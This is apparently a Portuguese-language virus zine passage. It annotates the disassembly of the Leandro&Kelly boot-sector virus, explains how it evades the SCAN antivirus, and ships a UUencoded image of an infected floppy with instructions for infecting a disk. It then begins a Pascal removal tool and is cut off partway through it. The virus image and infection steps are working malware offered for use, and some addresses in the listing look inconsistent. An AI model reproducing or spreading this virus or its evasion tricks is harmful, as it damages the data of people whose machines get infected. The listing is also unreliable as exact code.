9F00:00D8   INT    7Fh

;;
9F00:00DA   PUSHF         ; Salvar Registradores
9F00:00DB   PUSH   AX
9F00:00DC   PUSH   DS
9F00:00DD   PUSH   BX
9F00:00DE   PUSH   CX
9F00:00DF   PUSH   DX
9F00:00E0   PUSH   SI
9F00:00E1   PUSH   DI
9F00:00E2   PUSH   BP
9F00:00E3   PUSH   ES
9F00:00E4   MOV    AX,CS
9F00:00E6   MOV    DS,AX
9F00:00E8   CMP    CH, 00    ; Trilha 0 ?
9F00:00EB   JNZ    0143h     ; Nao, entao pular para 143h
9F00:00ED   MOV    AX, CS    ; Sim...
9F00:00EF   MOV    ES, AX
9F00:00F1   MOV    DS, AX
9F00:00F3   MOV    SI, 0003
9F00:00F6   MOV    AX, 0201h ; Ler um Setor
9F00:00F9   MOV    BX, 0400h ; Ler para endereco 400h,exatamente fim do virus
9F00:00FC   MOV    CX, 0001h ; Ler Trilha 0, Setor 1 (BOOT DO DISCO)
9F00:00FF   MOV    DH, 00    ; Ler Cabeca Superior (0)
9F00:0101   INT    7Fh       ; Executa Leitura...
9F00:0103   JNB    010B      ; Se nao Erro
9F00:0105   DEC    SI
9F00:0106   JNZ    01F6
9F00:0208   JMP    027C
9F00:010A   NOP

;; Leitura do setor de Boot sem erro
9F00:010B   MOV    SI, 0020h ; comparando endereco 20h com
9F00:010E   MOV    DI, 0420h ; endereco 420h
9F00:0111   MOV    CX, 0160h ; Compara 160h Bytes
9F00:0114   CLD              ; direcao: incrementar cada byte comparado
9F00:0115   REPZ             ; Comparando.
9F00:0116   CMPSB            ;
9F00:0117   JZ     017C      ; Se for igual, o virus ja esta no Boot
                             ; Se nao for igual o virus nao esta' no Boot

; ** ATENCAO, Aqui se faz a contaminacao no disquete sem VIRUS ***
9F00:0119   MOV    AX,2709h  ;
9F00:011C   MOV    [001C],AX ; Salvandao em memoria Trilha 27h Setor 9
9F00:011F   MOV    AX,0100h  ;
9F00:0122   MOV    [001E],AX ; Salvandao em memoria Cabeca 1 Drive 0
9F00:0125   MOV    AX,0302h  ; 03=Escrever Setor 02=Escrever 2 Setore
9F00:0128   MOV    BX,0200h  ; Conteudo a ser escrito no end. 200h
9F00:012B   MOV    CX,2708h  ; Gravar na Trilha 27 Setor 8 (Parte B, e Boot)
                             ; Necessita se gravar o Boot original para chamar
                             ; mais tarde durante Carga do BOOT.
                             ; Neste caso sera salva 2 Setores (AL=2) porque
                             ; Vai ser salvo tambem a parte B do virus,portanto
                             ; na ordem de gravacao vai ficar:
                             ; Setor 8=Parte B do virus   Setor9=Boot Original
9F00:012E   MOV    DH,01     ; DH=1 Cabeca Inferior (Cabeca B)
9F00:0130   INT    7Fh       ; Executa Int 13h Original
9F00:0132   JB     017C      ; Se houver erro na gravacao Enta vai para 17Ch
                             ; Nao houve erro nao gravacao, continua aqui
9F00:0134   MOV    SI,0403h  ; Esta movendo OEM para o virus (para disfarcar)
9F00:0137   MOV    DI,0003h  ; (lembra do inocente so' no nome..) normalmente
9F00:013A   MOV    CX,0019h  ; o OEM e' MSDOS3.3 ou outro...
9F00:013D   CLD              ; Mover de SI para DI (Boot original para virus)
9F00:013E   REPZ             ; Move...
9F00:013F   MOVSB            ;
9F00:0140   JMP    0146h     ;
9F00:0142   NOP              ;

;;
9F00:0143   JMP    017C      ;
9F00:0145   NOP

9F00:0146   MOV    AX, [01BA] ; 1BA = MES/DIA
9F00:0149   PUSH   AX
9F00:014A   MOV    AX, [01BC] ; 1BC = Seculo/Ano
9F00:014D   PUSH   AX
9F00:014E   PUSH   DX
9F00:014F   XOR    CX,CX
9F00:0151   MOV    AH,04
9F00:0153   INT    1Ah
9F00:0155   MOV    [01BA], DX  ; DX = DH(Mes)    DL(Dia)
9F00:0159   MOV    [01BC], CX  ; CX = CH(Seculo) CL(Ano)
9F00:015D   POP    DX
9F00:015E   MOV    AX, AA55h   ; AA55h Assinatura Microsoft (Boot Original)
9F00:0161   MOV    [01FEh], AX
9F00:0164   MOV    AX, 0301    ; Gravar 1 Setor
9F00:0167   MOV    BX, 0000    ; Gravar o Virus em (0000)
9F00:016A   MOV    CX, 0001    ; Gravar em Trila 0 Setor 1
9F00:016D   MOV    DH, 00      ; Gravar na Cabeca 0
9F00:016F   INT    7Fh         ; Grava...
9F00:0171   POP    AX          ; Restaurar AX (MES/DIA)
9F00:0172   MOV    [01BC], AX  ; Salvar Mes dia em 1BCh
9F00:0175   POP    AX          ; Restaurar AX (SECULO/ANO)
9F00:0176   MOV    [01BA], AX  ; Salvar SECULO/ANO em 1BA
9F00:0179   CALL   0300        ; Rotina 0200 =
                               ;
;;
9F00:017C   CALL    02B4       ; Rotina 02B4 = Comparar Data Corrente
                               ; se for (01/10) exibir a mensagem
                               ; Leandro and Kelly....

9F00:017F   POP    ES          ; Restaurar Registradores
9F00:0180   POP    BP          ;
9F00:0181   POP    DI          ;
9F00:0182   POP    SI
9F00:0183   POP    DX
9F00:0184   POP    CX
9F00:0185   POP    BX
9F00:0186   POP    DS
9F00:0187   POP    AX
9F00:0188   POPF
9F00:0189   RET                ; Retornar

9F00:018A  DB     62F dup(0)

9F00:01BA  DW     DIA,MES
9F00:01BC  DW     SECULO,ANO

; 1BE = Numeros que define PARTICOES DO DISCO RIGIDO GRAVADA NO VIRUS
         ; Definicoes da Primeira Particao do HD
9F00:01BE DB 80h,01h,01h,00h,06h,0Dh,D6h,1Eh,16h,00,00,00,36h,C1h,03,00
         ; Definicoes Segunda Particao do HD (Se existir)
9F00:01CE DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
          ; Definicoes Terceira Particao do HD (Se existir)
9F00:01E4 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

; Vamos a Segunda Parte do Virus Leandro&Kelly que esta
; na trilha 27h Setor 8
9F00:0200   MOV    AX, CS
9F00:0202   MOV    ES, AX
9F00:0204   MOV    DS, AX
9F00:0206   PUSH   DX        ; gravar Restaurar CABECA/DRIVE
9F00:0207   MOV    SI, 0003  ; Faz 3 vezes a rotina abaixo
;
9F00:020A   MOV    AX, 0205  ; Ler 5 Setores
9F00:020D   MOV    BX, 0600  ; Para Endereco 600
9F00:0210   MOV    CX, 0002  ; Trilha 0 Setor 2
9F00:0213   MOV    DH, 00    ; Cabeca 0
9F00:0215   INT    7Fh       ; ler Trilha
9F00:0217   JNB    0224      ; Se erro pular para 224h
9F00:0219   XOR    AX,AX     ; AX=0
9F00:021B   INT    7Fh       ; Resetar DRIVE
9F00:021D   DEC    SI        ; SI = 0 ?
9F00:021E   JNZ    020A      ; se nao retorna a 20A (looping...)
9F00:0220   POP    DX        ; Restaurar CABECA/DRIVE
9F00:0221   JMP    02B3

;
9F00:0224   MOV    AX,[0600] ; Ler Primeiros Bytes
9F00:0227   CMP    AL, FDh   ; FD ?
9F00:0229   JZ     023Bh     ;
9F00:022B   CMP    AL, F9h   ; F9 ?
9F00:022D   JZ     0241h
9F00:022F   CMP    AL, F0h   ; F0 ?
9F00:0231   JZ     0254h
9F00:0233   CMP    AL, FCh   ; FC ?
9F00:0235   JZ     0248h
9F00:0237   POP    DX
9F00:0238   JMP    02B3h     ; Retornar 2B43=RET
9F00:023A   NOP

; se FDh (Disco Flexivel  5.25" 2 Lados 9 Setores )
9F00:023B   MOV    BX,0162h
9F00:023E   JMP    025Dh
9F00:0240   NOP

; se F9h (Disco Flexivel  5.25" 2 Lados 15 Setores )
9F00:0241   MOV    AX,[040Dh]
;
9F00:0244   CMP    AL,01h
9F00:0246   JNZ    024Eh

; se FCh (Disco Flexivel  5.25" 1 Lados 9 Setores )
9F00:0248   MOV    BX,048Dh
9F00:024B   JMP    0257h
9F00:024D   NOP
9F00:024E   MOV    BX, 0161h
9F00:0251   JMP    025Dh
9F00:0253   NOP

; se F0h (Disco Flexivel  3 1/2" 2 Lados 18 Setores )
9F00:0254   MOV    BX, 0576h
9F00:0257   MOV    DX, 0FF7h
9F00:025A   CALL   0267h
9F00:025D   INC    BX
9F00:025E   MOV    DX, 0FF7h
9F00:0261   CALL   0267h
9F00:0264   JMP    02A5h
9F00:0266   NOP
;
9F00:0267   MOV    SI,BX
9F00:0269   SHR    SI,1
9F00:026B   MOV    AX,[BX+SI+0600]
9F00:026F   JB     027Bh
9F00:0271   AND    AX,F000
9F00:0274   OR     AX,DX
9F00:0276   MOV    [BX+SI+0600],AX
9F00:027A   RET
;
9F00:027B   PUSH   BX
9F00:027C   PUSH   SI
9F00:027D   XOR    SI, SI
9F00:027F   XCHG   AH, AL
9F00:0281   MOV    CL, 04
9F00:0283   PUSH   DX
9F00:0284   SHR    DX, CL
9F00:0286   MOV    SI, DX
9F00:0288   SHL    SI, CL
9F00:028A   POP    DX
9F00:028B   SUB    DX, SI
9F00:028D   SHR    SI, CL
9F00:028F   SHL    DX, CL
9F00:0291   AND    AH, 0Fh
9F00:0294   OR     AH, DL
9F00:0296   MOV    CX, SI
9F00:0298   MOV    CH, AH
9F00:029A   MOV    AX, CX
9F00:029C   XCHG   AH, AL
9F00:029E   POP    SI
9F00:029F   POP    BX
9F00:02A0   MOV    [BX+SI+0600],AX
9F00:02A4   RET

; Gravar 5 Setores (conteudo do endereco 600h Assinatura tipo disco )
9F00:02A5   POP    DX
9F00:02A6   MOV    AX, 0305h   ; Gravar 5 Setores
9F00:02A9   MOV    BX, 0600h   ; Do endereco 600
9F00:02AC   MOV    CX, 0002h   ; Na Trilha 0 Setor 2
9F00:02AF   MOV    DH, 00      ; Na Cabeca 0
9F00:02B1   INT    7Fh
; Retornar
9F00:02B3   RET

; ** ROTINA QUE COMPARA DATA CORRENTE ***
9F00:02B4   XOR    CX, CX    ; CX = 0
9F00:02B6   MOV    AH, 04    ; AH=4 Funcao OBTER DATA CORRENTE
9F00:02B8   INT    1Ah       ; Ler data....
9F00:02BA   CMP    DX, 1021h ; compara se mes=10h(Outubro), e Dia=01h (1/10)
9F00:02BE   JNZ    01DB      ; Se nao for vai para 1DBh
9F00:02C0   MOV    AX, CS    ; AX = CS
9F00:02C2   MOV    ES, AX    ; ES = CS
9F00:02C4   MOV    DS, AX    ; DS = CS
9F00:02C6   MOV    SI, 02DDh ;

;; Rotina: ** PARA EXIBIR MENSAGEM:
9F00:02C9   MOV    AL, [SI]  ; Endereco 2DDh = 02h
9F00:02CB   SHR    AL, 1     ; SHR AL,1 = AL div 2 (Descriptografando Mesagem)
9F00:02CD   CMP    AL, 24h   ;
9F00:02CF   JZ     02D8      ; 24h=Chegou ao fim da mensagem...
9F00:02D1   MOV    AH, 0Eh   ; Funcao 0Eh = Exibir Mensagem
9F00:02D3   INT    10h       ; Exibe Byte em AL (Mensagem Leandro...)
9F00:02D5   INC    SI        ; Incrementar endereco
9F00:02D6   JMP    02C9      ; Voltar a

; Fim da Mensagem pula para ca'...
9F00:02D8   CALL   031Eh
9F00:02DB   RET
9F00:02DC   DB   1Ah

; Esta Mensagem Esta Criptogravada, ele so vai ficar assim apos passar pela
; Rotina em 2C9h
9F00:02DD   DB     01,20h,   'Leandro and Kelly ! GV-MG-Brazil '
9F00:02DD   DB     1,0Dh,0Ah,'You have this virus since '
9F00:031D   DB     48h                    ; 48h (descriptografado fica 24h...)

; Rotina:
9F00:031E   MOV    DX,[01BAh]  ; 1BA = Hi(MES)    Lo(DIA)
9F00:0322   MOV    CX,[01BCh]  ; 1BC = Hi(Seculo) lo(Ano)

9F00:0326   PUSH   CX          ; CX = Seculo/Ano
9F00:0327   MOV    AH,DL       ; AH = Dia
9F00:0329   CALL   0359h
;
9F00:032C   MOV    AL,2Dh ; 2Dh = Caracter ASCII '-'
9F00:032E   MOV    AH,0Eh ;
9F00:0330   INT    10h    ; Exibe.

9F00:0332   MOV    AH,DH
9F00:0334   CALL   0359h

9F00:0337   MOV    AL,2Dh ;2Dh = Caracter ASCI '-'
9F00:0339   MOV    AH,0Eh ;
9F00:033B   INT    10h    ; Exibe..

9F00:033D   POP    CX
9F00:033E   MOV    AX, CX
9F00:0340   MOV    CX, 0004h
9F00:0343   CALL   035Ch

9F00:0346   MOV    AL,0Dh ; 0Dh = enviar ENTER
9F00:0348   MOV    AH,0Eh ;
9F00:034A   INT    10h    ; Enviar ENTER

9F00:034C   MOV    AL,0Ah ; 0Ah = Line Feed
9F00:034E   MOV    AH,0Eh ;
9F00:0350   INT    10h    ; Enviar Line Feed (voltar ao inicio da linha)

9F00:0352   MOV    AL,07h ; 7 = BEEP
9F00:0354   MOV    AH,0Eh ;
9F00:0356   INT    10h    ; Soa o  BEEP

9F00:0358   RET           ; Retorna

; Rotina: Fazer Calculo sbre data para exibir no video
;         pois a data vem em modo HEXA
9F00:0359   MOV    CX,0002  ; CX=2 2 bytes a ser exibido
9F00:035C   ROL    AX,1
9F00:035E   ROL    AX,1
9F00:0360   ROL    AX,1
9F00:0362   ROL    AX,1
9F00:0364   PUSH   AX
9F00:0365   AND    AL, 0Fh
9F00:0367   ADD    AL, 30h
9F00:0369   CMP    AL, 39h
9F00:036B   JBE    036F
9F00:036D   ADD    AL, 07h
9F00:036F   MOV    AH, 0Eh
9F00:0371   INT    10h     ; Exibe Data em modo visivel
9F00:0373   POP    AX
9F00:0374   LOOP   035C
9F00:0376   RET

;;
9F00:0377   MOV    AX, CS
9F00:0379   MOV    DS, AX
9F00:037B   MOV    AX, 0201h ; Ler Boot Mater
9F00:037E   MOV    BX, 0400h ; Ler no Endereco 400h (Fim do Virus)_
9F00:0381   MOV    CX, 0001h ; Ler Trilha 0 Setor 1
9F00:0384   MOV    DX, 0080h ; Ler HD (80h) Primeira Cabeca (00)
9F00:0387   INT    7Fh       ; ler Setor (int 13h Origina)

; Comparando para testar existencia do virus do Disco rigido
; Vulgo (WINCHESTER)
9F00:0389   MOV    SI, 0020h ; No virus
9F00:038C   MOV    DI, 0420h ; No Boot lido
9F00:038F   MOV    CX, 0160h ; Quatidade a comparar
9F00:0392   CLD
9F00:0393   REPZ
9F00:0394   CMPSB            ; Comparando...
9F00:0395   JZ     03E6h     ; Virus ja existe no HD, entao se manda para 3E6h
9F00:0397   MOV    AX, 0080h
9F00:039A   MOV    [001E], AX
9F00:039D   MOV    AX, 0007
9F00:03A0   MOV    [001C], AX
; Gravando virus no disco rigido.
9F00:03A3   MOV    AX, 0302h ; Gravar 2 Setores no HD
9F00:03A6   MOV    BX, 0200h ; Conteudo do endereco 200h (parte B do virus)
9F00:03A9   MOV    CX, 0006h ; Na trilha 0, Setor 6 do Disco Rigido...
9F00:03AC   MOV    DH, 00h   ; Cabeca 0 (Primeira)
9F00:03AE   INT    7Fh

9F00:03B0   MOV    SI,05BE   ; Parametros ta tabela de Particao do disco rigido
                             ; No virus, esta tabela e' criada pelo FDISK
                             ; Para HD de 1 Particao e' utiliza se somente 16
                             ; Bytes. O virus necessita simular um Boot Master.
9F00:03B3   MOV    DI, 01BEh ; Locao no virus que ficara' a conf. da particao
9F00:03B6   MOV    CX, 0021h ; copiando para o virus 21h bytes (33 bytes)
9F00:03B9   REPZ             ;
9F00:03BA   MOVSW            ; Move...

9F00:03BB   MOV    AX,[01BAh] ; ler Mes/DIA
9F00:03BE   PUSH   AX
9F00:03BF   MOV    AX,[01BCh] ; Ler Seculo/Ano (19,97 por exemplo)
9F00:03C2   PUSH   AX
9F00:03C3   PUSH   DX
9F00:03C4   XOR    CX,CX
9F00:03C6   MOV    AH,04h     ; Funcao Obter Data
9F00:03C8   INT    1Ah        ; Obtem Data Atual
9F00:03CA   MOV    [01BAh],DX ; Salvar em Memoria Mes/Dia
9F00:03CE   MOV    [01BCh],CX ; Salvar em Seculo(19) ano(97) = 1997
9F00:03D2   POP    DX         ; Restaurar do STACK Drive e Cabeca (0080h)

9F00:03D3   MOV    AX,0301h   ; Gravar 1 Setor
9F00:03D6   MOV    BX,0000h   ; Inicio do virus (0000)
9F00:03D9   MOV    CX,0001h   ; No Boot do Disco Rigido...
9F00:03DC   INT    7Fh        ; Int 13h (Original)
9F00:03DE   POP    AX         ; Restaurar AX (Seculo/Ano)
9F00:03DF   MOV    [01BCh],AX ; Gravar em 1BCh
9F00:03E2   POP    AX         ; Restaurar AX (Mes/Dia)
9F00:03E3   MOV    [01BAh],AX ; Gravar em  1BAh
9F00:03E6   RET               ; Retorna
9F00:03E7   db     0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

[Nota1] Enganando o Anti-virus SCAN.EXE.
----------------------------------------
- Este anti-virus detecta qualquer boot que se suspeite seja um virus,
  neste caso SI estivesse valendo 4Ch (esta na cara que e' virus) porque
  4Ch e' o endereco da Interrupcao INT 13, ai' entao o SCAN imediatamento
  processaria a remocao do mesmo mesmo sendo desconhecido, entao necessitou
  se fazer SI=4B para enganar olhos eletronicos e Depois INC SI (SI ficara
  4CH finalmente). Observer que o endereco 28h,6Bh faz operacoes estranhas
  provavelmente para enganar o anti-virus. (espertinho nao ?)

[Nota2] Passos para examinar memoria disponivel
-----------------------------------------------
(Sem virus acontece isto)
C:\DOS> DEBUG  <enter>
-d0:413 l2
0000:0410           80 02                                       ..
-q

(no caso acima leia se ao contrario 80,02 = 0280h tamanho da Memoria Basica
 no entanto quando o virus esta ativo isto fica em 027Ch)

(com virus acontece isto)
C:\DOS> DEBUG  <enter>
-d0:413 l2
0000:0410           7C 02                                       ..
-q

[Nota3]  Criando Novo Vetor de Interrupcao 7F
-----------------------------------------------
Nesta parte ele copia o endereco original da Interrupcao Int 13 para a
interrupcao 7Fh (Que nao existe mas ele cria..) isto e' necessario porque
ele altera o endereco da interrupcao int 13h no entanto necessita dela mais,
tarde; o que e' possivel atraves da copia (7Fh Endereco 0000:01FC) que foi
gerada.

[Nota4]  Veja onde fica a Segunda Paret do virus e o conteudo original do Boot
------------------------------------------------------------------------------
Ja' que o disco com menor capacidade (360k) tem 27h trilha o virus grava sua
segunda parte na Trilha: 27h e Setor 8; a vitiama, ou seja; o conteudo
original do BOOT fica na trilha:27h (tambem) e Setor 9.
                                                                            
                                                                            
                                                                             
                     .         __    __    __
                     |  |\/|  |__|  | _   |_   |\/|
                     |  |  |  |  |  |__|  |__  |  |
                                                                            
 
                                                                            
            Temos aqui uma nova maneira de apresentarmos um vrus 
            para vocs, j apresentamos em UUencode, Script File, 
            Codigo Fonte e agora vamos apresentar um vrus em sua
            imagem, a imagem nada mais  do que uma copia de um 
            disquete, s que no apenas uma copia dos arquivos 
            que nele se encontram, mas uma copia que inclui o lu-
            gar que determinadado arquivo ocupa no disquete, no 
            nosso caso um vrus o Leandro&Kelly ...
                                                                            
            O Programa para a copia e restauraao de imagens es-
            ta ai no zine e sua utilizacao  muito simples, a 
            imagem aqui aprensentada foi cedida pelo Alevirus
            (fernanda88@hotmail.com) que me mandou uma imagem de
            um disco de 720k infectado com o L&K , eu rodei o v-
            rus e infectei um disco de 1440k que creio ser o que
            a maioria da galera deve ter ...
                                                                            
            A imagem apresentada aqui  uma imagem como eu j 
            disse, de um disquete de 1440 e para restaura-la faa
            o seguinte, recorte e cole L&K1440.UUE, rode o pro-
            grama UUdecode e na sequencia o IMG.EXE com a seguin-
            te sintaxe :
                                                                            
            IMG x L&K1440.IMG a:
                                                                            
            Pronto seu disco de 1440 que estava no drive a: ( por
            exemplo ) j se encontra infectado pelo Leandro&Kelly
            mais difundido pelos anti-virus como sendo LEANDRO
            vrus .
                                                                            
            Qualquer Dvidas, no exite em mandar um e-mail ...
                                                                            
            Ah, ia me esquecendo a imagem do L&K esta uuencoda-
            da, desencode e rode o IMG ...
                                                                            
                                                                            
;;;;;;;;;;;;;;;;;;;;;; L&K1440.uue ;;;;;;;;;;;;;;;;;;;;;;;;;;
begin 600 l&k1440.img
M("@M;&@U+0<-````@!8``````"`!!VEM9RXD)"2M3R```!CP>[QX`>T:;?^_
M_N?'$&)L@&S4#%9],I(*K0++79)KL*QDH$!%`8.!6.*R3HYQ,]F1F[NZ;37K
M&];$*,Z5QK>#*+*7+/.82L4\$F18N;;3;L:UTA4\B@ED_!)$(QA.CBB-#(-"
MD)\V2J5;S[RWR[P[?B%OPFWGWX.[^X_>MD;OWO;.L<#<VNSW=K9;"RA*BBA*
MYD+/2]'20U$)4-)KH1=7&A3LLF_Y-6$+_,O\FK%*Q8>94L+&G4K]93Z_MY>I
MQ]Q#:Y'6BPY<.MTO3J^E#(W$+[:18^HE[6I+U\N%]+]>9R^9?;2LO\G'^3[6
MUR(0PX2Y-3,J^9"T_)F].5GQC)O\RI[GZ(I)(LN\Z$*<(6EC).<R]ZL*6FZ<
MSOI<5+6:VVS>WAR)4+WJQ=C#U%+LI,/3Y^'K;;+O-Y^&+-F0X$G;EWGI6EC:
M[S>[_[&^F>?[4D%^.%+?R=$D0QZR&A8TO#BA[$FHH3-U2^#.GX&/'#(CEX?B
MQ=;I<:C<5=)KL+60JPBPK&%6568L)6'V6N]B++O)^VQZR7D5D,/59]XYTO`S
MN]P,'$BM,'&BM-[9>WQY>7J[ZPQ(KZOQHK>KOO4PNO%5BDWT/EEMMA8T5MA8
MD6;YL,WNXM']GQ/#M^!X6MMOOY4/^DK3^CJKV***9IN#[O$E0AB74N3%V7O:
M+3<;\%G=RX7O.B_5`]]ZG1^3/0``#_EU+Q_`M``#_X^'_`````#;[G9>!M-S
M''L]EX,?S8OD=[4CE0\N*$/K]QN/H_3^GW4??[?=?ISYO[=2.LA"4\>@````
M```!_ZVE"C.C\>YH7%W'.H49L=SY/!G7%&;X]W'<7?"CNX]_@SZ5"/QYT??W
M=W1KJWZ\Z;Y/CS[ON-Q.NKKR^YCN)M"[DS*$[]^=G\OEWD^2%4)T==6Z$7[F
M.ZN?(I3H]"(\.EGQN?H1REPOEG$D=\;0CM"=PH_*N<^8?<CN+J;/DI./@W<_
MA39*CT(E)K_X:4ZC.[F/AS9\VNK9\ZC<SYNONI(')^)]SY4Z.XCI4;FZN?Y,
M^8<.?=^1/F\*;'P=?)N?X*ZMSYM-CN^'<3;N/Z&Y[_>R1^A_7'-NIWD3[F3'
MI1S9\^EPITF#Y$E.UU;-\FC<Z_L4C)J<^?R=E&;L),JNK8_F?Q66PHW?T-#4
M>-/FT+FZ_WS?)N>%XGC4J%G^]=T>%-N;K824+75O_GO_.L<#<VNSW=K9;"RA
M*BBA*YD+/2]'20U$GV[FDUT(NKC0IV63?\FK"%_F7^35BE8L/,J6%C3J5^LI
M]?V\O4X^XAM<CK18<N'6Z7IU?2AD;B%]M(L?42]K4EZ^7"^E^O,Y?,OMI67^
M3C_)]K:Y$(8<)<FIF5?,A:?DS>G*SXQDW^94]S]$4DD67>="%.$+2QDG.9>]
M6%+3=.9WTN*EK-;;9O;PY$J%[U8NQAZBEV4F'I\_#UMMEWF\_#%FS(<"3MR[
MSTK2QM=YO=_]C?3//]J2"_'"EOY.B2(8]9#0L:7AQ0]B344)FZI?!G3\#'CA
MD1R\/Q8NMTN-1N*NDUV%K(58185C"K*K,6$K#[+7>Q%EWD_;8]9+R*R&'JL^
M\<Z7@9W>X&#B16F#C16F]LO;X\O+U=]88D5]7XT5O5WWJ877BJQ2;Z'RRVVP
ML:*VPL2+-\V&;W<6C^SXGAV_`\+6VWW\K_OUS*T_HZJ]BBBF:;@^[Q)/OB<2
MZER8NR][1:;C?@L[N7"]YT7ZH'OO4Z8`````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M```````````````````````````````````````````````````````````'
M_[S_:O\F_S-[CUD*NBE8L)F'*A[$,N\H:6RR<N\W5+H6_YO0A@PF;'XZ/9['
MXJ.HV/1H]KL>M1T]OG>7@8OC19WSL#!KI>QBI3,7[TO.K<#%FQ9_'RM%B=33
M9M;#ZV?RK(9W?8%3I?E^"I>PF3ZWMX='2^S?2=65:[^RZ?$YGKR][R^A4^'E
M\^W_:_QY?P<OFWO.TU;S:G^'%]^I^+B<SP_"T-3;U=%6?-3>59>WQY>7J_Y>
MKVO9TOV.Q7^/[LKBR^3F['MJ.CX]?E]GM<[_3-^M#*U<JS]'D>S[GM<[WK.3
MC9_S\C,S/AL^_L[_U;?^B_M_-YWL_Z\K,LY6K_6_M][H6?)]GW^19YO)Y7/L
M_?Y7.Z'/L^?RO<_'R+/;5+#$BJ5^-%O.+S<W7P];7Y\<XO/S?V?EZN!4_%AR
MX9MA#UJ[/[O6K=#CH4%E259^7)['^M.VTTONMC]3RI4O0RK;F\_*DK;,JQ2>
M<)>'%#$O9+5QXX9$<O#\6+K=+C4=W5O885C"KHX86LA5E27Y*PYFA?F/CZ+(
MQXL/M8=+^S!Q(K3!QHK3>]CP??257?257;U8I-?"2+Y=Y;86-%;86)%E0_X9
MVQP-S:[/=VO=[#NH2HHH2N9"STO1TD-1"5^G2_/^+2U_=;K=Q[K9;G:1R-KL
MO!^C]*3GU;+)O^3C0IV&CQ?XX=Y_=WMCO["UR/JT\/2PZW2].9K?Q[3KZ:I7
M]I3\[<_%?>!*_OT?U:?Y\O4S_+LLGZDS4TZ/95*_4T[ZOCI_U=G3ZG<6%.LF
M:RGJ;"QDYU]/[O*AA6E.^L-[3PMO)RW%.K'#J=QIZ=2QTM.LRMMU.E%,V]/[
MLF/#%AHJDFFP;2GF_S0G_.]:+-]6$^PJ?GDH/'_S^WTN-2K?O7D<G9)Y5[3'
M_I^WF^)"3_MFP\/6^A+]#9RLO56UM;9V;4\#5[;;<6QKJ?TODZG^59)&=3)&
M<6&CPZR%IO=YF_N0GYDD7\&'`M[:?BZ**$E.UDE$<WF\78?KT^+8=M)2VWIX
M.XI]"$.'#U:W)H_/X]?BZ.&7V>=\/[MAVE.AJNIWG:4^O[/G6&[IV7*ZG>:N
MGYUAV]/"W-/_;*^+*X\JI8;FGZ\SE<^M[S=TZG(XGYL^(<7O.WIY>IRJZMV=
MS0N+N.A.X4="YH49W"FQW=*/QYW!G7-&E=T+NNK;6EXU"C)V3=?=QSH^'/G4
M*%S=^3.CI2:JC.N+J;75L-ONX]!:\"UT/=G8ZI/:^^]1^G^`````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
H```````````````````````````````````````````H6```_H```.T:
`
end
;;;;;;;;;;;;;;;;;;;;;; L&K1440.uue ;;;;;;;;;;;;;;;;;;;;;;;;;;
                                                                            
        Agora como j temos o vrus que tal um anti-vrus ????
                                                                            
               Tipo ta ai na sequencia, divirtam-se
                                                                            
                                                                            
 
             __         ___  .               /  __           ___          
            |__|  |\ |   |   |   __   |  /  |  |__)  |   |  (__           
            |  |  | \|   |   |        |/    |  |  \  |___|  ___)          
                                                                            
 
                                                                            
                                                                            
       
           Programa em pascal para detectar e remover o LK
       
                                                                            
               compilado e testado com turbo pascal 7
                                                                            
Fonte na integra ...
{   **************************** REMLK.PAS ****************************     
                                                                            
Detecta e remove o virus leandro e kelly da unidade ( se existir )
Variavel : SoDetecta = true (Somente vai detectar mas nao vai remove-lo)
SoDetecta = false (Detecta e remove o virus da unidade)
                                                                             
                                                               Dorival AC
Laboratorio AMADEUS - Tecnologia em seguranca de dados
                                                                             
Para compilar: TPC remlk (e suficiente...)                                   
Use Assim REMLK <drive:>                                                     
                                                                             }
                                                                             
const                                                                        
        sodetecta = false;                                                   
var                                                                          
        unid : string[2];                                                   
                                                                             
function lerfissetor(_seg,_ofs:word;trilha,setor,cab,unid:byte):boolean;
var                                                      
        tent : byte;                                                    
        carry : byte;                                                   
begin                                                    
        tent := 0;                                                    
        repeat                                                        
                carry := 0;                                                   
                asm                                                  
                   mov ax,201h                                                 
                   mov es,_seg                                                  
                   mov bx,_ofs                                                  
                   mov ch,trilha                                                  
                   mov cl,setor                                                 
                   mov dh,cab                                                  
                   mov dl,unid                                                 
                   int 13h                                                  
                   jnc @@1                                                  
                   mov carry,1                                                  
                   @@1:                                                    
                   end;                                                  
                tent := tent +1;                                                  
        until (tent>5) or (carry=0);                                             
        if (tent >5) and (carry<>0)then                                           
                lerfissetor := false else lerfissetor := true;                  
        end;                                                                   
                                                                         
function escrfissetor(_seg,_ofs:word;trilha,setor,cab,unid:byte):boolean;
var                                                                       
        tent : byte;
        carry : byte;
begin                                                                       
        tent := 0;
        repeat
                carry := 0;
                asm
                   mov ax,301h
                   mov es,_seg
                   mov bx,_ofs
                   mov ch,trilha
                   mov cl,setor
                   mov dh,cab
                   mov dl,unid
                   int 13h
                   jnc @@1
                   mov carry,1
                   @@1:
                   end;
                tent := tent +1;
        until (tent>5) or (carry=0);
        if (tent >5) and (carry<>0)then
                escrfissetor := false else escrfissetor :=true;        
end;                                                                    
                                                                         
Function BootTP_lk(Unid:byte):boolean;
var                                                                        
        bootTP:array[0..$400]of byte;
        vitima:array[0..$200]of byte;
        _ofs,                                                             
        _seg : word;                                                          
        vit_ofs,                                                             
        vit_seg:word;                                                       
        tent : byte;                                               
        carry:byte;                                               
        tem:boolean;                                             
        trilha,setor,cab : byte;
begin                                                                   
        _seg:=seg(boottp);                                               
        _ofs:=ofs(boottp);                                              
                                                                        
        lerfissetor(_seg,_ofs,0,1,0,unid);
        tem:=true;
                                                                        
        if(boottp[$20])<>$0fa  then Tem := false;
        if(boottp[$21])<>$0bc  then Tem := false;
        if(boottp[$22])<>$000  then Tem := false;
